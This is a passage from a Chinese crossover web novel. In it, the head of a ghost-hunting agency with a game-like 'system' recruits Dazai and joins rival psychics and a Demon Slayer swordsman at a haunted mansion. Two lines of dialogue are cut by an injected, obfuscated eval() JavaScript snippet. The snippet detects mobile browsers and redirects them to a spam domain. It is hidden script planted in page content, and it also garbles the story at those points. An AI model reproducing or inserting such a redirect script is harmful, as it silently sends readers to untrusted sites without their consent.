如今,他有了一个系统(似乎是因为能量不足直到最近才堪堪启动),一个模拟经营系统。 系统界面十分复古,像素画风的探灵社,以及简单明了的操作栏。 七个可聘用员工空位里,目前只有织田作之助一个人名。 吉川惠子痛失被录入资格。 夏楠的意识在前进了七分之一的进度条左右徘徊。 七,这是一个很有魅力的数字。比如七曜——日月五行,比如七星——七权生死,比如‘做七’——丧葬七祭,比如‘七书’——象形指事。它被视为轮回的象征,又被引做完满的缩影。 他的注意力移动至标为【事件】的一栏,在那里,挂着孤零零的咒怨。 一款自由度很高的模拟经营系统,没有强制的任务,也没有明确的导向,更没有完不成任务后总是约定俗成的惩罚机制。 ——爱推推,不推拉倒。 这样的系统,反倒很合夏楠的口味,难说是不是为他量身定做的。 如果真的是‘意难平’救赎专场,那…… “这是你的能力?”少年坐在沙发上,既然离不开,干脆不再试图挣扎,“通过触碰来实现操纵他人行为?” “如果我将你拥有这样的能力广而告之……” “请随意。” 夏楠无所谓的答道。 少年神情厌厌,微微低垂这脑袋,额前的碎发遮挡住半边眼睫,整个人透出一股脆弱的破碎感。 他又问,“你是人类吗?” “如假包换。” 夏楠再次答道。 等待的过程并不算太漫长,织田作之助来的很快,在红发青年的步伐踏入会客厅的那一刻,原本面无表情的少年忽然扬起一个笑脸,“好久不见,织田作。” 夏楠的注意力终于全部从自己新入手的系统里转移出来,他来回看看两人,随了一句,“好久不见,小织。” 众所周知,织田作之助是个完全不会吐槽的人,尽管和夏楠之间的短暂分离完全称不上一句好久。 他只是说,“好久不见,”这句是对两人说的,接着,他将目光转向了少年,“好久不见,太宰。” 夏楠的嘴角牵起一抹看戏的笑,“你们聊,随便聊,”说着,保持着躺在沙发上的姿势,并没有回避的意思,“不用在意我,当我不存在。” 织田作之助坐到了太宰对面。 找了几天太宰治却屡屡与对方擦肩不见的经历让他意识到了这位短暂相处过的友人似乎在躲着他这个事实,虽然不知道为什么。 接到夏楠的电话后,有预感是太宰的织田立刻赶了回来。 “太宰,之前你推荐我加入港口黑手党的事……”织田作之助找了个话题,他并不擅长做这样的事。 “关于那个,我已经放弃了,”太宰治接话,“后来想了想,织田作果然还是不适合黑手党。” 在意外拿到书以前,推荐织田作之助加入黑手党以得到一定庇护的自己,到底有多少是为友人着想,又有多少是出自私心,太宰已经不想去想了。 绝不能是港口黑手党。 只是意料之外的变数——在其它世界当中都不存在的探灵社,织田作之助自己的选择——是否具备庇护织田作之助能够安心写书,去实现自己的梦想的能力。又是否能够提供一条路,一条让织田作之助能够活下去的路。 这些疑问,在真正与名为夏目楠的人接触以后,已经有了解答。 这个世界是不一样的。 在确定这个前提以后,太宰治感受到了罕见的欣喜。 这个世界是不一样的,它或许,会有更多,更多的可能性。 只要他自己…… “这里就挺不错的,比起黑手党来说,”太宰治轻轻的说着,“你没有选择黑手党,真的太好了,织田作。” 绝不能是港口黑手党。 这大概是一句祝福。 织田作之助有些不确定,但还是选择了道谢。 “还有,”织田作之助说道,“还要谢谢你帮我……” “织田作,”太宰治打断了织田作之助的话,他闭了下眼睛,紧接着睁开以后,笑容重新回到了脸上,“你不知道,最近的横滨有多麻烦,”他用抱怨的语气说着,“港/黑首领发疯一样的挑起各种争端,械斗每时每刻都在发生……” “连森先生这样的医生都得全天候二十四小时待命,好可怕——呜啊真的好可怕。” “哀嚎,痛哭,夜晚的横滨街头,比起地狱来说,恐怕也不遑多让。” 他做出一个受不了的表情,“所以说,你没选择黑手党,真的太好了。” 织田作之助没有第一时间回应,他看了一会儿太宰治,“太宰,不想笑的时候,可以不用笑。” 太宰治激昂吐槽的话语停住了,半晌,他轻轻叹了口气,语气恢复了平静,“还是老样子啊,织田作。” 空气安静了一瞬。 太宰治忽然站了起来,“我该走了。” 织田作之助看了眼他衬衫上的血迹,“你受伤了。” 太宰治轻笑一声,“只是小伤,”他说着,看了一眼织田作之助,克制的,像是在看最后一眼,“我该走了。” “再见,织田作。” 这一次的见面是一场意外,探灵社的社长是这场意外发生的罪魁祸首。 以后还得再小心一点啊…… “等一下。” 眼见太宰治就要离开,看了半天戏的夏楠终于开口。他从身上摸了摸,数了三枚硬币出来。 茭贝被他收在一边的架子里,但现在不是去拿的时候。 毕竟,稍微大一些的风吹草动,眼前的人就会立刻跳着跑开的样子。 没能好好道谢,正犹豫着如何把人再留一会儿的织田作之助紧跟着出声,虽然他不知道夏楠说‘等一下’的意图是什么,“再等一会儿吧,太宰。” 太宰治的脚步有短暂的停顿。 夏楠已经开始了自己的操作。 茶几上发出硬币碰撞的声音,一次,两次,三次。 如果真的是意难平‘救赎’专场,那太宰治,是不是也是进度条的一员? 之前的占卜说的可是——其数为四。织田三人早早现身,剩余的那一个却迟迟不肯露面。 硬币停止滚动,第三次掷出它们的夏楠看了看正反。 ——□□,至临、无咎。 近在眼前。 夏楠的笑容扩大。 “助理君,留住他。” 既然已经主动送上门,就别想跑了,进度条的七分之一。 “这位太宰君,来兼职吗?” “由织田作之助倾情代言,还有贴心的社长,有爱的同僚,工作期间包中餐,节假日有补贴,日常各种团建活动。” “怎么样?” “考虑考虑?” 已经被织田作之助挡住了离开路径的太宰治:…… 他回过头,冲着满脸阳光的夏楠阴森森的开口,“才不要。” “这样啊……” 料到对方会拒绝的夏楠接受良好,“真遗憾。” 他说着,终于在沙发上做的端正了些,“那么,接下来,是探灵社的报恩,环节。对这次我们能取得横滨两大官方……哦不,严格意义来讲,是三大,”他重新说了一遍,“对这次我们能顺利获取横滨三大官方势力的友好合作承诺,以及织田作之助个人的档案重记机会的最大功臣。” “你!” “进行强制报恩。” “从现在开始,还请尽情享受来自探灵社的不限期关爱。” “嗯,强制的。” 太宰治:…… 织田作之助的嘴角也翘了起来。 如果说太宰治任性的资本是无与伦比的头脑和对人性深刻的洞察,那夏楠任性的资本,则是未知。 浑身充满谜团,迷一样的男人。 夏楠——没错,就是我~ 一时间,太宰治宛如误入盘丝洞的唐僧,进也是网,退也是网,全都是网。 夏楠笑的可和善。 论计谋我输你一程,但论阳算,哎,你不是也玩不过我么? 扯平~ 夏楠指了指自己,“我负责强制,”又指了指织田作之助,“他负责爱。” “不用客气。” 脑海里,或者说意识中,那个模拟经营系统的拟订聘用员工名单里,千寻的像素小头像旁边,多出了一个太宰小头像。而进度条……由空到蠕动一丢丢的改变还很容易看出来,现在么…… 就当它动了吧。 “敕令的运用有很多种,约束是如此,术法同样如此。” “只是我和其他人比较不一样。” 太宰治被留了下来,并且身负‘无法离开织田作之助十米以上距离’的束缚,造成这一现状的织田作之助(负责拔头发)与夏楠(负责道具制作)毫无忏悔之意,十分怡然自得。 由于还在探灵社全员假期时间内,在将太宰治小纸人和织田作之助小纸人绑绑好以后,夏楠就又开始赶人。 “出去玩,不要打扰我睡觉。” 这样。 以及,为了防止太宰治破坏小纸人,夏楠还额外多说了几句,“毁坏人形会有反噬,就算你破坏的是自己的那部分也一样反噬的是术法作用的双方。” “如果你的内心真的不愿意,拒绝和织田作之助绑定,这根线是无论如何也系不上去的。” 大声抗议中的太宰治再次沉默。 神秘侧的东西真的很不讲道理,那个世界里都没有隐私法的吗? 太过分了。 夏楠就像一股突如其来的泥石流,彻底打乱了太宰治对接下来的一切的部署与安排。 太宰治:…… 非常干脆的,他也化身成泥石流,开始和夏楠互创。 恶作剧都是小事,阴阳怪气全是常态,隔着织田作之助小学生拌嘴成了早中晚必备娱乐环节。夏楠本来玩的还挺开心的,直到太宰治忽然开窍,开始另辟蹊径,各种作死。 首先,大家都知道,探灵社内是有诅咒的,还挺强。 其次,太宰治身上有探灵社诅咒的标记。 再次,他扔了,御守。 织田作之助不知道多少度在夏楠的围观下从一堆头发里将太宰治拉出来的时候,察觉这种方式对夏楠来说不痛不痒的太宰治再次开辟了新玩法——打扰夏楠的睡眠。 看戏状态的夏楠:…… 你死了。 死的透透的。 “出去玩,不要打扰我睡觉。” 夏楠开始赶人。 他的嘴角耷拉着,明显心情不佳。 “不是说要关爱我吗?”太宰治捧心,“夏目,你就这样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15616942|171794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赶我走?” “他负责爱的部分,我负责关的部分。”夏楠挎着脸,不为所动。 “朕准你们出去二人世界,”夏楠大手一挥,“赶紧走,快点走。” 在这场没有硝烟的战争中最忙碌的织田作之助:…… 可惜,到底还是没走成。 委托来了。 日程表上,距离最近的井下朋花的委托预约的时间还有一星期,这次来的,是警视厅的委托。 夏楠还给自己弄了个警视厅非日常事件对策处理部的特别顾问的头衔来着,用伽椰子换的。 吉川惠子暂时无法赶过来,千寻倒是对这次的委托兴致勃勃,或者磨刀霍霍——当然,对象可能大概或许,并不真的是委托。 就这样,接到紧急委托的探灵社,假期暂时终止。 —————— “委托人是原总理大臣,委托调查的地点是他的祖宅,不过经历过很多次扩建和修缮,看起来还挺新的,如果只看外观的话。” “目前是无人居住的状态。” “社里的邮箱应该也有收到他们发来的委托预约,”千寻说道,“我估计你根本没有看。” “休假中,谁会在休假的时候打开公司群聊啊。”夏楠无精打采的窝在椅子里。 千寻给了夏楠一个‘我就知道’的眼神,“委托代理人大桥,”他放出一张相片,是一名穿着得体站姿笔挺的中年男性,“这次估计那个原总理大臣不会亲自出面。” “需要注意的是,被委托的并不只有探灵社。” 千寻一连放出好几张照片,“音羽大学教授五十岚,灵媒原.真砂子,南方灵异调查会南.丽明,英国灵异调查协会奥利弗.戴维斯……” “假的,”千寻紧接着放出一张照片,照片里,是一名年轻的男性,“这个才是真的,也是这些同行当中唯一需要稍微注意一下的——涉谷心灵现象调查事务所,所长,涉谷一也,原名奥利弗.戴维斯,就是被冒充的那个,本尊,还有他的助手,林兴徐。” 蔫哒哒的夏楠终于来了点兴趣,他看了看照片上的男人。 “背景,查的到吗?” “林兴徐吗?”千寻说道,“香港人,据说是道士,履历很简短,和你的一样,干净,且无聊。” 夏楠又窝了回去。 “相关的案件,目前只能查到两个月前的儿童失踪案,哦,后续进入搜索的消防员也失踪了一名,这件事媒体并没有过多报道,大概率是被压了。警视厅发来的案件卷宗里倒是有详细记录。” 千寻放出了案件卷宗的页面,上面的描写中,有很多诸如‘有好几个人说在房子里看到了鬼魂’、据说在之前房屋扩建的过程当中就有工人说过类似的话,也有工人在作业过程中失踪的传言,之类模棱两可的内容。 “除了两个月前发生的失踪案件以外,并没有其它有实际效力的有效证明,全是听说,据说。” “以上。” 投影幕布被收起,灯光重新亮了起来。 千寻合上电脑。 他这次来表现的有些不一样,像是总憋着一股劲儿,坐姿也紧绷,说话也没之前来时放松。 夏楠伸了个懒腰,站了起来。 委托要求的时间很赶,原本是打算让千寻直接去委托地点的,但他偏不。 不过几天时间,太宰治就已经将千寻塞进探灵社各个角落的监听设备清了个干干净净,不仅如此,他还把那一群大大小小拥有蜘蛛外形的监听设备在窗台上摆的整整齐齐,选了个光线正好的时间,拍了照片,发给了远在博多的千寻。 将搞事两个字贯彻的十分彻底。 收到照片的千寻:…… 有夏楠在的时候,只要他想,整个探灵社就算全都是用监听设备搭建起来的,也收录不到哪怕一丝来自里面的风声,而他不在的时候,又有兢兢业业的诅咒干扰社内磁场,阻碍小设备的正常运转。 综上所述,这些监听设备在探灵社内实际毫无用处,无论放多少。千寻当然也知道这一点,但他是个实践派,想要靠人海战术找到一条漏网的缝隙,目前的成功数量为零。 虽然成功数量为零,这不是他的小玩具们被摆成‘笨蛋’词组并被人嘲讽到脸上的理由。 一想到这个家伙很有可能就是之前和自己做过交易的###,还是自己把横滨警视厅某高层的一些犯罪证据卖到他手上的,千寻就一阵恶寒。 是他吧,那个什么太宰治,织田那家伙提到过的名字。 了解我? 摸透了我的行事作风,诱导我调查? 哈? 你很棒棒了。 标志性的蜘蛛监听也是千寻的身份暴露在异能特务科与军警面前的原因,太宰治发出这样一张照片过去,对千寻来说,相当于贴面嘲讽并在自己面前来了一场脱衣钢管舞。 那种,浑身都十分不舒服的,想要揍人又无处下手的,感觉。 千寻的脸紧紧绷着。 …… 夏楠打算睡觉了。 “时间紧迫,明早出发,大家早睡,晚安。” “等等。” 千寻开口,他面朝着一个方向,那个方向的中心是趴在椅背上的太宰治,“他是谁?” 就是这家伙吧,就是他吧。 这个会议中途突然从织田作之助的房间里冒出来的人。 夏楠回道,“是小织的朋友。” “是探灵社的恩人哦~” 两个声音几乎同时响起,夏楠扫了一眼双手拄着椅面,不知道什么时候方向重新转了回来的太宰治。 “嗯,对,同时也是被强制报恩的对象。” 夏楠冲着脸色不是很好看的千寻眨眨眼,“我强制,小织负责报恩。” 理解了一下夏楠话语种的意思,千寻的气噎在了喉咙里,他无语一会儿,“你怎么什么都往社里捡?” “因为很有意思?” 夏楠笑着看了眼千寻,“你们好好相处?” 千寻:…… “不需要。” 而与他同时发出声音的太宰治则是拖着长音:“我才不要——” 千寻与太宰治的第一次会面,以双方互看不顺眼的局面宣告不欢而散。 18.十八 “唔啊——那些家伙,他们是什么男模会社吗?” “应该就是最近在网上很火的那个,探灵社,是叫这个吧。” “哪个是社长啊?” “中间那个?看发色应该是他。” “好……好伟大的一张脸,我算是知道为什么明明冷门的除灵会社的社长会有那么多粉丝了。” “他还有粉丝?” “论坛上可是盖了好几千楼呢,这才多久啊。” “真是的,明明很多人会因为觉得晦气很少去关注像我们这样的从业者。” “要说颜值的话,我们社长也不差啊,”一名少女露出不服气的表情,“对吧那鲁?” 被称为那鲁的男性并没有搭腔,很自然的无视了这句询问。 少女:…… 表情逐渐险恶。 “好了好了麻衣,”一名黄发青年打着圆场,“大桥先生在叫我们了,先过去吧?” …… 这是一场由委托方发起的短暂的见面会。 夏楠落座后环视一圈,在坐的参与人员基本和千寻事前调查的一致,除了…… “是产屋敷。” “……嗯?” 委托代理人大桥刚刚介绍到那名假冒的奥利弗.戴维斯教授,引起了小范围的惊呼,大概是个很有名的人。 夏楠毫不关心,只是懒散的靠在椅背上。 探灵社这次一共来了四人,比起其它参与的灵能者团体成员得体的坐姿和聆听的姿态,他们这四人表现的实在散漫。 三名社员,一个趴着,一个无视所有人拿出笔电哒哒哒敲击,最后一个一脸走神,也不知道到底有没有在听。至于社长,他们的社长看起来已经快要睡着了。 千寻的声音就是在这个时候响起的,音量不大,却莫名吸引了全桌人的注意。 被迫同行的太宰治无精打采,“知道知道,鬼杀队的风柱嘛,真是大人物哦。” “我并没有在和你说话,请你不要自作多情。”千寻面无表情。 “真有意思,我有说我是在和你说话吗?”太宰治皮笑肉不笑,“榎……” “太宰。” “太宰君。” 两道声音几乎同时响起,打断了太宰治即将完全出口的话。一道来自他身边坐着的织田作之助,一道来自仰靠在椅背上闭目养神的夏楠。 太宰治:…… 千寻冲着太宰治露出胜利者的微笑,他继续说道,“最近几天,附近的失踪案变多了,鬼杀队应该是为这个来的。” “附近的失踪案?” “鬼杀队?” 夏楠还没出口询问,与会的其它灵能者已经纷纷开口。 “发生了什么事?” “也和这栋房子有关吗?” 委托代理人大桥清了清嗓子,“目前还不能确定,这也是为什么会请诸位来这里的原因。” “请等一下,”一名黄色长发男子,根据之前的介绍,名字是滝川法生,“可以详细说说附近的失踪案吗?” “在那之前,还是将之前介绍环节先完成吧,”南方灵异调查会的会长南.丽明插话道,“这几个坐没坐相的人,还有那些一脸凶相的家伙,”他双手环胸往后一靠,“我们总得知道自己到底是和什么人在共事。” 代理人大桥好脾气的说,“当然,”他掌心向上,先比了比夏楠的方向,“这几位是横滨探灵社的朋友,这位是探灵社的社长,夏目先生。” 眼见代理人大桥的手在介绍完夏楠的名字以后就开始转向最后一组,南.丽明不满的声音再度响起,“其他人呢?怎么不继续介绍?” 大桥有些为难的看了看南.丽明,又看了看夏楠,“这……很抱歉,我事先并没有被告知探灵社其余成员的名字。” 一句话,把其他所有人的注意力全都集中在了探灵社身上。 夏楠依旧保持着仰靠的姿势,没一点反应。 千寻倒是无所谓,他率先开口,“代号K。” 其他人:? 什么东西? 他在说什么? 紧接着,被千寻隔着刘海行注目礼的织田作之助也开口,“代号A。” 其他人:…… 懂了,自我介绍。 所有人的视线不自觉的集中在了最后一名,还没开口的太宰治身上。 “他叫代号……” 千寻试图抓住机会给太宰起外号的话还没说完,太宰治自己开口了。 “普通的自杀爱好者,”太宰治有气无力的说道,“我的名字。” 其他所有人:…… 认真的? 他们该不会——是在耍我们玩吧? “开什么玩笑!” 南.丽明的声音再次响起,他的音量提高了不止一倍,“用这种小孩子才会起的外号糊弄我们,真是太过分了!” “连名字都不肯说,不会是因为做过什么见不得人的事吧!” “确实……感觉有点不尊重人呢……但是说别人见不得人也太过分了。” 有人小小声在旁边和同伴吐槽。 明显知道点内情的代理人大桥看了一眼毫无反应的夏楠,心中无奈,刚要开口打圆场,一道金属与木制品碰撞的声音突然响起。 “你好吵啊,下三滥。” 其他所有人:?!! 骂,骂人?! 说话的人脸上带着一道横贯半张脸的狰狞伤疤,“怎么,你是什么不知道其他人的名字就活不到明天的渣子吗?” 其他所有人:……好凶! 闭目养神的夏楠终于睁开眼,微微坐直看向了声音发出的方向。 千寻适时开口,跟画外音一样,“鬼杀队风柱,不死川实弥,剑技被称为风之呼吸。” 夏楠:……什么东西,谁的呼吸? 果然是番吧,是他没能来得及涉猎的领域吗? 就在他产生疑问的瞬间,寄宿在他脑子里的模拟经营系统忽然动了动,边路操作栏里多出了一个标为【势力】的选项。夏楠的注意力转了过去,点开来看,里面收录有他穿越以来直接或间接接触过的各大势力,其中就包括鬼杀队。而鬼杀队选项的后面,跟了一个小小的播放按钮。 大致能猜到这个播放按钮是什么意思的夏楠——行,面对面追番。 他暂时忽略了系统,看向不死川实弥。 不死川实弥也在看他,明明一脸凶恶的刚刚还在骂人,对上夏楠的视线的时候突然就收敛了表情,还很友好的点了点头。 夏楠配合的回了个招招手,鬼杀队,产屋敷,“阁下是惠子的熟人?” “家母与队内预备弟子承蒙您关照。”不死川实弥没有否认,他的刀被他一把拍在了桌面上,也不知道用了多大力气,桌面都裂了好几条细小的纹路。 夏楠没在意对方话语中多出来的那个‘家母’,只是说,“不必客气。” 他们两边倒是友好交流上了。 被当众落了面子的南.丽明缓了过来,脸色十分不好看,“大桥先生,贵方究竟都请了些什么人?!”他的音量再次拔高,“一个靠网络营销吃软饭的骗子,还有一个带刀的莽夫,我说,这种凶器居然能带着到处走吗?” “您居然会放任这样的家伙和我们一起调查!” 他的话刚说完,代理人大桥还没来得及说话,已经有人开口了。 是太宰治。 “啊——好吵。”少年冷淡的视线看向了南丽明,“什么东西在叫?” 千寻面无表情的接上,“不值一提的东西。” 令人意外的是,织田作之助也跟了一句,“不是东西,如果我没记错的话,是叫南丽明。” “哦,原来是叫南丽明的不是东西的东西在叫啊,”太宰治坐直了,绑着绷带的脸上只露出了一只眼睛,无机制的视线让南丽明本能的回避对视,“你的话语中充满了名为嫉妒的恶臭,你的动作中全都是意图仗势凌人的丑恶。” “怎么不去对着你口中‘带刀的莽夫’抱怨呢,”太宰治微微歪头,“不过是一柄刀,就值得你如此畏惧,那这个……”他的手突然抬起,手中赫然是一把手/枪。 “既然如此畏惧死亡,那就让我看看,你为了求生,都能做出些什么有意思的表情来吧。” 黑洞洞的枪口直直对准了南丽明的方向,少年举着枪的手十分平稳且自然,仿佛这个动作已经做过无数次。 纤细的手指搭在了手/枪的保险上,在围观众人屏息惊愕的视线下,按下了保险。 南丽明的额头冒出了一层冷汗——不,不可能的,怎么会是真的枪…… “不可能是真枪,”太宰治说着,“你在这么想,对吧。” “啊——愚蠢,无趣,什么都挤在脸上的东西,”太宰治说着,毫不犹豫的,不给人任何反应时间的扣下了扳机。砰的一声,一阵烟雾过后,一只写着‘骗你的’的小旗子从枪口冒了出来。 看清发生什么的众人:…… 假枪在太宰治手心转了一圈,被收了起来,始作俑者语调轻快的说,“很可惜,的确是假的。” 南丽明微微后仰的身体和试图躲避的动作僵在原地。 太宰治微微扬起嘴角,露出一个恶劣的笑容,“真遗憾啊,对不对?” 周围安静异常。 少年的个人气场实在太过特殊,特别是被他盯着的南丽明,那种——他会杀了我,他绝对会杀了我——的恐慌,那种无处可逃的压迫感。 ——这个少年,到底是什么人?! 有人在偷瞄夏楠(夏楠一点反应都没有),有人在偷瞄探灵社其他两名社员(十分淡定,见怪不怪) 众人:…… 一片寂静中,千寻的声音响了起来。 “南丽明,南方灵异调查会社长,今年初,试图通过网络扩大自己的影响力,曾多次买水军,作假视频博取流量,但一直不温不火,直到最近,探灵社因独特的操作模式和完美的视频剪辑异军突起,在网络上掀起了小范围的科学除魔风潮,”千寻瞥了一眼大气不敢出的南丽明,“就在近两天,探灵社官方账号下突然出现了许多诋毁和污蔑言论,经查证,怀疑为有组织的恶意行为。” “对此,南先生有什么高见?” 原来是这样,怪不得一直针对探灵社。 有人小小声——居然做这种事,真是差劲。 夏楠终于肯将自己的目光往那个名为南丽明的中年大肚男人身上瞥了一眼,“……已经确定了吗?” “喏,”千寻将笔电推到夏楠面前,“你自己看。” 夏楠粗略扫了一眼。 …… 穿着衬衫的青年掀起眼皮,轻飘飘的向南丽明的方向看过去一眼。 刚刚被太宰治一通恐吓的男人被这一眼吓的直接应激,猛的站了起来。椅子被他带倒在地,他身边坐着的助手不知所措的,也跟着站了起来。 “会长……” 南丽明深呼吸两下,稳定了情绪,“抱歉诸位,我实在无法忍受和这些人坐在一起。” 紧接着,他凑近那名自称奥利弗.戴维斯的外国人身边,嘀嘀咕咕两句,那名外国人理了理衣摆,也跟着站了起来。 “哼,连戴维斯博士都看不下去你们的行径!” 像是从假戴维斯身上获得了什么支持一样,南丽明又行了,他扬起下巴,“你们这些非专业人士,靠着一点东拼西凑的技术……” “你说什么博士?”千寻突然开口,“戴维斯博士?” “他?” 千寻的声音平铺直叙,“据我所知,奥利弗戴维斯博士是东亚人,且十分年轻,如果硬要说的话,这位……” “闹剧可以结束了么?” 涉谷心灵现象调查事务所的几人当中,被称为鸣海一夫的年轻男性出声,“我想,委托人将我们聚集在这里的目的并不是为了给诸位提供无意义斗嘴的场合。” 千寻看着说话的人,继续自己被打断的话,“硬要说的话,这位先生的外貌特征更加附和那个奥利弗.戴维斯的外貌特征。” 鸣海一夫:…… “不要戳穿他啊代号K,人家说不定就是想隐藏身份呢。”太宰治又恢复了趴在桌子上的姿势。 所有人:…… 一个介绍大家互相认识的小聚,原本以为不会占用太多时间的小聚,好多瓜啊…… 那边同一事务所的人已经开始惊讶了。 “那鲁?戴维斯博士?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621193|171794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真的假的?” “不……不可能吧?” 鸣海一夫:…… 他叹口气,“我只是被波及。” “也对,那鲁怎么可能啦,那可是博士哎。” …… 千寻正要继续说话,夏楠忽然开口了。 “继续吧,大桥先生。” 千寻看了一眼夏楠,撇了撇嘴,不再开口。 被晾在一旁半天的代理人大桥终于又有了说话的机会,他轻咳了一声,继续介绍了鬼杀队的不死川实弥。以及,亏他还记得一连串打岔之前滝川法生的提问,“有关于失踪案,附近的土地都属于我的主人,距离这里大概三公里外有一处农庄,还有一些手工业的作坊,失踪就是发生在那里。” “目前为止一共有七名人员失踪,三名已确认死亡,死者的尸体……”他停顿了一下,“……死者的尸体上,都有被猛兽撕咬和啃食的痕迹。” 这一段话成功将歪了的话题中心扯了回来。 有人问道,“难道附近有大型野兽出没?” 代理人大桥看了一眼坐在最边上的不死川实弥,“我们也有这样的怀疑,所以通知了鬼杀队的人。” “咦,原来鬼杀队是专门处理这种事情的吗?说起来鬼杀队为什么叫鬼杀队啊?” 没人回答这个问题,话题被大桥拉回了房屋当中发生的各种怪事。 被无视的南丽明原地踟蹰一会儿,最终还是坐下来继续听,那个本来要和他一起走的戴维斯也跟着坐了下来。 早就通过警视厅发来的资料了解了所有信息的夏楠再次开始闭目养神。 这一次,小型会议终于得意圆满结束。会议之后,大桥亲自带着刚到的探灵社诸人来到了早就为他们准备好的活动房间,不死川实弥十分自然的跟了上来,在大桥表示会叫佣人帮忙搬运器材并离开以后,走向了正仰头看着天花板的夏楠。 “夏目,可以这样喊你吧。” 夏楠看向他,“你好,不死川先生。” “啧,不死川就行了,”他接着说道,“木下……我是说,吉川惠子,还要在本家多待一段时间,她打不通你的电话,主公拜托我帮她请假。” “多待一段时间的原因是?” “她基本功落下太多了,需要特训,”并不是什么不能说的事,不死川实弥回道,“那家伙在……啧,算了。” 夏楠挑眉。 “请假的话我已经带到了,”不死川实弥接着说另一件事,“家母灵魂被困的事我也是最近才知道,”他的表情一瞬间险恶,“多谢,灭了那个什么咒怨。” 夏楠心安理得的接受道谢,“不用客气。” 不死川实弥看了看夏楠,忽然问,“你是妖怪吗?” 话音刚落,趴在椅子上看织田作之助连接线路的太宰治转头看了过来,找了个舒服的位置放自己的宝贝电脑的千寻也凑了过来。 夏楠微微歪头,“为什么这么问?” “气息,”不死川实弥回答,“你的气息不像是人类。” “但我的确是。” “这样么,”不死川实弥上下扫了一遍夏楠,“……算了,只要不是鬼就无所谓。” 夏楠笑眯眯的任由对方打量。 “总之,我这次就是来见你一面,”不死川实弥准备走了,“还有,一个忠告,”他说,“今晚不要出门,就待在房子里。” 夏楠闻言,没多说什么,“好哦。” —————— 不死川实弥带着自己的刀,留下‘一个忠告’,毫无留恋的离开了。 大桥安排的房子姑且算是舒适,什么都有,就是家具都有些老旧。 夏楠在沙发上躺倒,正打算看看那个鬼杀队的番剧,千寻凑了过来。 “怎么样?” “唔?” 夏楠发出一个含糊的音阶回应。 “这里,”千寻说道,“上次没看到现场版真是可惜,”他和织田作之助当时都避开了,“这里有吗?恶灵?咒怨?” “有。” “哦!” “哦!” 太宰治也凑了过来,他不光自己凑,还拉上了织田作之助。 “怨灵长什么样?” “你能再来一次吗?那个什么净化?超渡?” 两道声音几乎同时响起,千寻和太宰治相互瞪视,又哼的一声,各自别开了视线。 织田作之助默默叹息一声,走到两人中间,主打一个物理隔离。 想追番的夏楠:…… “这次用不着那一套,意思意思做做样子就可以了,”他无视了千寻和太宰治,对着织田作之助说道,“没有素材授权许可,做不了视频宣传,没必要拍的太仔细。” 夏楠说着,看到织田作之助的神情——虽然没什么太大的变化,但是,这段时间的相处下来,夏楠多少还是能捕捉到一些——又补了两句,“这次的数据监测和分析就由你来?” 织田作之助立刻回答,“好。” 同样注意到织田作之助情绪变化的太宰治:“织田作很感兴趣?” “嗯,”织田作之助说道,“这里不安全,”他用了一个还算能解释自己体感的词汇,“房屋的构造也很特别。” “我想试试看。” 试试看,如果是由他来调查,能查到哪一步。 “那就交给你,”夏楠果断拍板,“千寻和太宰辅助你。” “好。” “喂喂,我可没答应,”千寻在一边不满的嘀咕,“什么都让我们做了,你干什么?” “夏目,我不记得我什么时候成了你的部下。”这是太宰,他面无表情的看着夏楠,没有像千寻那样外露的表达不满,却也用自己的方式提出了抗议。 夏楠十分熟练的一个顺毛——“我负责最后的超渡净化。” 一个拔刺——“被强制的太宰君没有拒绝权,再拒绝,小织会难过的。” 面对夏楠十分引人注目的眨眼暗(明)示,织田作之助也已经十分熟练了,熟练于配合夏楠:“我会难过。” 太宰治:…… “至于我干什么,”夏楠的一半注意力都在脑子里正在播的名叫《鬼灭之刃》的番剧上面,“……去凑热闹?” 19.十九 “那个,请问,贵社的社长在吗?” 年长的五十岚教授敲开了探灵社临时基地的房门,里面只有一个人在——是那个蘑菇头的少年。 自我介绍的时候,好像是—— “……K君” “什么事?” 千寻站在门口,冷淡的问。 五十岚教授说道,“我们打算举办一场降灵会,邀请贵社的夏目社长一起来参加,不知道他现在方便吗?” 千寻打开了房门,向对方展示了一下除了自己空无一人的室内。 “啊,”五十岚教授愣了一下,接着说道,“是出去收集数据了吗?”她微微笑了笑,“贵社在网络上发表的视频我都有看,非常的厉害,利用现代科技手段和完全区别于传统的视角来解决灵异事件的能力……” “客套的话就免了。” “……那么,可以请您联系一下夏目社长吗?”五十岚教授并没有因为千寻冷淡的态度而退缩,“降临会会召唤这栋房子里的灵,或许灵会提供什么重要的线索也说不定,灵感越强大的人在场吸引来的灵也会越强大,不论如何,还是希望夏目社长也能够参与。” 千寻看了五十岚教授一会儿,“灵感越强大的人在场,吸引来的灵也会越强大?” “是的,您应该能够理解,就像强大的磁场一样,像夏目先生那样的灵能力者,肯定具有十分强大的磁场。” “是吗?”偷偷拿高斯计测过夏楠周围磁场指数的千寻不置可否,不过他对所谓的降灵会还算感兴趣,“我会去,至于我们的社长先生……”千寻瘪了下嘴,“他出去了,目前不在,其他人的话……”千寻指了一下五十岚教授的身后,“……你自己问吧。” 五十岚教授顺着千寻的手看过去,刚刚好看到两名正在往回走的探灵社其他成员 “夏目先生不在吗……” “夏目出去了,”织田作之助提着一个装有各种设备的包走了过来,“请问……” “啊,我是……” 五十岚教授重复了一遍自己的来意。 